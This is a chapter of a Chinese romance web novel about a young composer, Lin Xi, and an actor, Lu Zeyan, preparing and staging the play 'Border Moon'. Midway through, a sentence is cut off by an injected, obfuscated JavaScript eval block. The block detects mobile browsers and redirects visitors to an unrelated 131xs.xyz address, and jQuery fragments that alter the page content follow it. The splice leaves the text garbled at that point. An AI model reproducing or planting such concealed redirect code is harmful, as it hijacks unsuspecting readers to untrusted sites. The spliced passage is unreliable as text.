“对了，就是这个！”林溪兴奋地拍了下琴凳，木头发出声闷闷的响。


    琴房的门被“砰”地推开，室友抱着个纸箱闯进来，额头上还沾着片槐花瓣：“溪溪，你哥的快递！邮局的人说超重了，我帮你扛上来的，快给我口水喝。”纸箱上印着大大的“核桃”字样，胶带封得严严实实，还贴着张“易碎”的标签，是林浩公司的专用胶带，她认得那上面的小齿轮图案。


    林溪赶紧给室友倒了水，好奇地蹲在纸箱前拆胶带。剪刀划开胶带的声音“刺啦”响，像撕开了个神秘的礼物。箱子里整整齐齐码着十个玻璃罐，每个罐子里都装着饱满的核桃仁，颗粒大得像在青溪镇山上捡的野核桃，连个碎壳都没有。最上面压着张字条，是林浩的字迹，歪歪扭扭的，比小时候给她写的请假条还难看：“给妹妹补脑，每天吃三颗，别偷懒。”


    林溪捏着字条笑出了声，指尖抚过那些圆滚滚的核桃仁——她知道挑这些得多费功夫，得一个个砸开，一个个挑，林浩在公司忙得脚不沾地，却还是抽出时间做这些。


    室友凑过来看，夸张地吸了吸鼻子：“哇，你哥是把核桃树搬来了吧？这也太实在了！我哥只会给我发‘多喝热水’的表情包。”她拿起个玻璃罐晃了晃，核桃仁撞击的声音“哗啦啦”的，像串欢快的珠子，“快尝尝，看是不是比超市买的香。”


    林溪捏了颗放进嘴里，牙齿咬下去的瞬间，脆生生的，带着股淡淡的甜香，是阳光晒透的味道。她突然想起小时候，林浩把奶奶给的核桃偷偷藏起来，晚上躲在被窝里用锤子砸。


    窗外的风突然大了些，槐花瓣落得更急了，像场温柔的雨。有片花瓣正好落在“士兵思念家人”那段乐谱上，粉白的颜色衬着黑色的音符，像滴没忍住的眼泪。林溪盯着那片花瓣，忽然想起陆泽言念的台词：“巡逻到第三年，才敢在月亮底下承认，想家想得能哭出鼻涕泡。”


    她抓起铅笔，在那段旋律里添了几个低沉的音符，像叹气，又像压抑的哽咽，接着又用高音区接了个明亮的收尾，像擦干眼泪后抬起头，看见月亮照着家乡的窗。指尖划过琴键时，她仿佛能看到那个巡逻的士兵，背对着边关的风，偷偷抹了把脸，又挺直腰杆往前走，这才是真实的思念，不是哭天抢地的，是藏在骨缝里的，带着股不服输的劲儿。


    收拾纸箱时，发现垫在底下的录音笔，按下播放键，林浩的声音带着点不自然的僵硬，像第一次在公司做汇报：“妈说你写曲子费脑子，让我给你寄核桃。那个……陆泽言的戏，要是缺观众，我可以找公司同事去撑场面，不用他知道是我安排的。”


    傍晚的阳光把话剧团的排练厅染成了金色。林溪抱着琴包走进来时，正赶上陆泽言排“诀别”那场戏。道具组把泡沫假山喷成了白色，像落满了雪，老道具师正往空中撒碎纸片，模拟暴风雪，白色的纸片落在陆泽言的粗布军装上，像真的雪花在融化。


    他跪在假山上，怀里抱着个道具粮袋，正把最后一块“干粮”往战友手里塞。“你带着它走，”他的声音嘶哑得像被砂纸磨过，每个字都带着颤音，“我……我在这儿再守会儿。”


    战友的扮演者红着眼眶摇头：“要走一起走！”


    陆泽言突然笑了，是那种带着哭腔的笑，明明疼得要命，却还嘴硬说“不疼”。“我鞋里进沙子了，”他低头系鞋带，声音轻得像耳语，“你们先走，我随后就到。”


    当战友的身影消失在布景后面，他才慢慢松开手，粮袋掉在地上，发出“空”的声响——里面早就没东西了。他趴在假山上，肩膀抖得像秋风里的落叶，粗布军装被“雪花”盖了薄薄一层，远远看去，像真的要和边关的风雪融为一体。


    排练厅里静得能听见碎纸片落地的声音。林溪站在门口，琴包的带子勒得肩膀有点疼，可她舍不得动，怕惊扰了那个沉浸在角色里的士兵。她想起陆泽言的父亲，好像就是为国捐躯了。


    “停！”导演的声音带着点激动，“泽言，这段情绪太到位了！就是这种感觉！”


    陆泽言抬起头，脸上还挂着泪痕，看到门口的林溪时，眼睛突然亮了。他从假山上跳下来，动作太急，差点被“积雪”滑倒，引得道具组的人都笑了。“你怎么来了？”他跑到她面前，作训服上的碎纸片掉了她一身。


    林溪从琴包里掏出乐谱，递给他时，指尖不小心碰到他的手，烫得像刚从火炉里抽出来的。“《边关月》写好了。”她的声音有点轻，像怕打扰了什么，“你看看……行不行？”


    陆泽言接过乐谱的手在发抖，指腹小心翼翼地抚过封面上的“边关月?序曲”，那是林溪用钢笔写的，笔锋里带着点她弹钢琴时的灵动。他翻开第一页，看到“巡逻”段那些跳跃的音符，突然抬头看着她，眼眶红得像兔子：“这是……青溪镇货郎的调子？”


    林溪点点头，把装核桃仁的小袋子往他手里塞：“我哥寄来的，说给你补补。”


    陆泽言捏着那袋核桃仁，突然把她往怀里拉了拉，动作轻得像怕碰碎了她。林溪的心跳像琴键上乱跳的音符，她把脸埋在他的作训服里，闻着上面的松节油味和汗味，突然觉得，这首《边关月》终于完整了：有边关的风，有士兵的泪，有家人的牵挂，还有两个年轻人藏在旋律里的约定。


    话剧团的联排日，后台像被捅了的马蜂窝。道具组的人抱着雪花机跑过，白色纸片撒了一路；服装组的阿姨举着熨斗追演员，蒸汽“嘶嘶”地冒，把粗布军装的褶皱熨得服服帖帖；连炊事班的王师傅都来了，拎着个保温桶，说“给演员们补补嗓子”。


    陆泽言对着镜子系武装带，金属扣“咔嗒”一声扣上。镜中的士兵穿着洗得发白的粗布军装，领口别着颗红星纽扣。他抬手理了理军帽，帽檐下的眉眼既有青溪镇少年的倔强，又添了几分京城的坚定，是他，又不止是他。


    “紧张了？”老演员张叔拍着他的背，戏服上的雪花道具簌簌往下掉，落在陆泽言的军靴上，像撒了把碎盐。张叔演了三十年话剧，鬓角都白了，却还爱跟年轻人开玩笑，“当年我第一次上公演舞台，腿抖得像筛糠，上台时差点顺拐，比你现在还不如。”


    陆泽言的耳尖红了红，从口袋里掏出颗润喉糖。“有点。”他老实承认，喉结滚了滚，“总怕演砸了，对不起……大家的期待。”


    张叔笑着往他嘴里塞了颗自己的薄荷糖：“傻小子，演砸了才正常。你知道这戏为什么叫《边关月》吗？因为月亮总有圆有缺，演戏也一样。”他指了指镜子，“你就记住，你不是在演士兵，你就是那个士兵。”


    大幕拉开前的三分钟，侧台传来轻轻的脚步声。陆泽言转过头，看见林溪从幕布后探出头，今天穿了条粉色连衣裙。


    “加油，士兵。”她的声音混着乐池里的调音声、后台的说话声，却像装了扩音器似的，清晰地钻进他耳朵。


    陆泽言对着她敬了个标准的军礼，右手划过帽檐的动作干脆利落，作训服的袖口因此绷紧，露出他手腕上的红绳。后台的小姑娘们没忍住，偷偷发出阵低低的尖叫。


    “各就各位！大幕即将拉开！”副导演的声音透过对讲机传来，带着电流的杂音，像在倒计时。


    “巡逻”戏开始了。陆泽言背着道具枪在假山间行走，嘴里哼着跑调的小调。唱到“想娘”两个字时，他的声音突然低了半度，像被风雪呛了下。


    中场休息时，陆泽言跑回后台喝水，军帽上还沾着片雪花道具。林溪从侧台跑过来，递给他块手帕，“刚才那段小调，跑调跑到天边了。”她笑着说。


    “故意的。”陆泽言擦汗的动作顿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289375|180507||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了顿，耳尖红了红，“张叔说，真士兵唱歌都跑调，太标准了反而假。”他把帕子叠成小方块，放进军装口袋，紧贴着心口的位置。


    林溪的指尖轻轻戳了戳他的胳膊：“贫嘴。快准备下一场，‘诀别’戏要开始了。”


    “诀别”戏开始时，飘雪机突然加大了功率。白色的纸片漫天飞舞，有的粘在他的军装上，有的落在他的睫毛上，冰凉的触感像真的雪花。陆泽言跪在假山上，怀里抱着个瘪瘪的粮袋。


    战友的扮演者红着眼眶，伸手想拉他：“要走一起走！”


    陆泽言把“干粮”，塞进战友手里，指节因为用力而发白。“告诉俺娘，”他的声音哽咽着，却每个字都像钉子似的砸在舞台上，“俺没给她丢人……”


    他的目光穿过漫天风雪，越过黑压压的观众席，精准地落在林溪身上。“你们先走……”陆泽言低下头，假装系鞋带，声音轻得像叹息，却带着不容置疑的坚定，“我随后就到。”


    战友的身影消失在布景后面后，陆泽言趴在假山上，任由雪花道具落在他身上。粗布军装很快就被“积雪”覆盖，远远看去，像座沉默的雪雕。他的肩膀抖得像秋风里的落叶，却没有发出一点声音，连呜咽都藏在喉咙里，像边关的风，把所有的疼都咽进了肚子。


    整个剧场静得能听见雪花道具落地的“簌簌”声，连呼吸都变得小心翼翼的。


    突然，第一排传来声压抑的啜泣。陆泽言悄悄抬眼，看见个头发花白的老奶奶正用手帕擦眼泪，身边的老爷爷拍着她的背，自己的眼眶也红了。


    大幕缓缓落下时，陆泽言还跪在假山上。雪花道具还在不停地飘，落在他的军帽上。后台的掌声像潮水般涌来，张叔冲他竖大拇指，道具组的小姑娘们举着鲜花，连不苟言笑的导演都红了眼眶。他却只想快点见到林溪。


    台下的林溪看着台上陆泽言，恍惚看到了未来站在聚光等下耀眼夺目的影帝。陆泽言的身影在灯光渐暗中显得格外挺拔，雪花道具依旧飘落在他的肩头。他缓缓站起身，军靴踩在假山上的声音轻微却清晰，像是一种无声的告别。他的目光穿过幕布缝隙，与林溪的视线交汇，那一瞬间仿佛所有的风雪都静止了。


    后台的喧闹声渐渐逼近，工作人员推着道具车跑过，有人喊着“快准备谢幕！”但陆泽言没有动，他站在那里，像是还在角色里，又像是在等待什么。直到林溪从侧台走过来，手里还捧着一束花。


    她的脚步很轻，像是怕惊扰了这片刻的宁静。陆泽言的目光从幕布缝隙收回，落在她手里的花上，他嘴角扬起一抹笑。


    “给我的？”他的声音还带着戏中未散的情绪，低沉却温柔。


    林溪点点头，将花递过去，她感觉自己又回到追星的状态，耳边只剩下后台隐约传来的嘈杂声和自己略微急促的呼吸声。


    陆泽言接过花，低头嗅了嗅，眼里闪过一丝复杂的情绪。“谢谢你。”


    “你该去谢幕了。”她终于开口，语气里带着些许催促，却又藏不住那份关切。


    陆泽言抬起头，目光深邃如夜空。


    首演那天的京城，天空蓝得像块刚从青溪镇河边捞上来的棉布，连一丝云絮都没有。话剧团门口的白杨树举着满枝绿叶，风一吹就“哗啦啦”响，像在拍手。树干上挂着红灯笼，是道具组的老道具师亲手糊的。


    “陆泽言！这里！”赵磊踮着脚挥手，运动服背后的“市体校”三个字被汗水浸得发深，他手里举着块硬纸板，上面是李婷用红彩笔写的“陆泽言后援团”，笔画歪歪扭扭的。


    李婷往林溪兜里塞了袋话梅，“刚在门口碰到林浩哥，”她压低声音，偷偷指了指剧场入口，“穿得跟电视剧里的老板似的，黑西装白衬衫，手里却攥着我塞的加油棒，笑死我了。”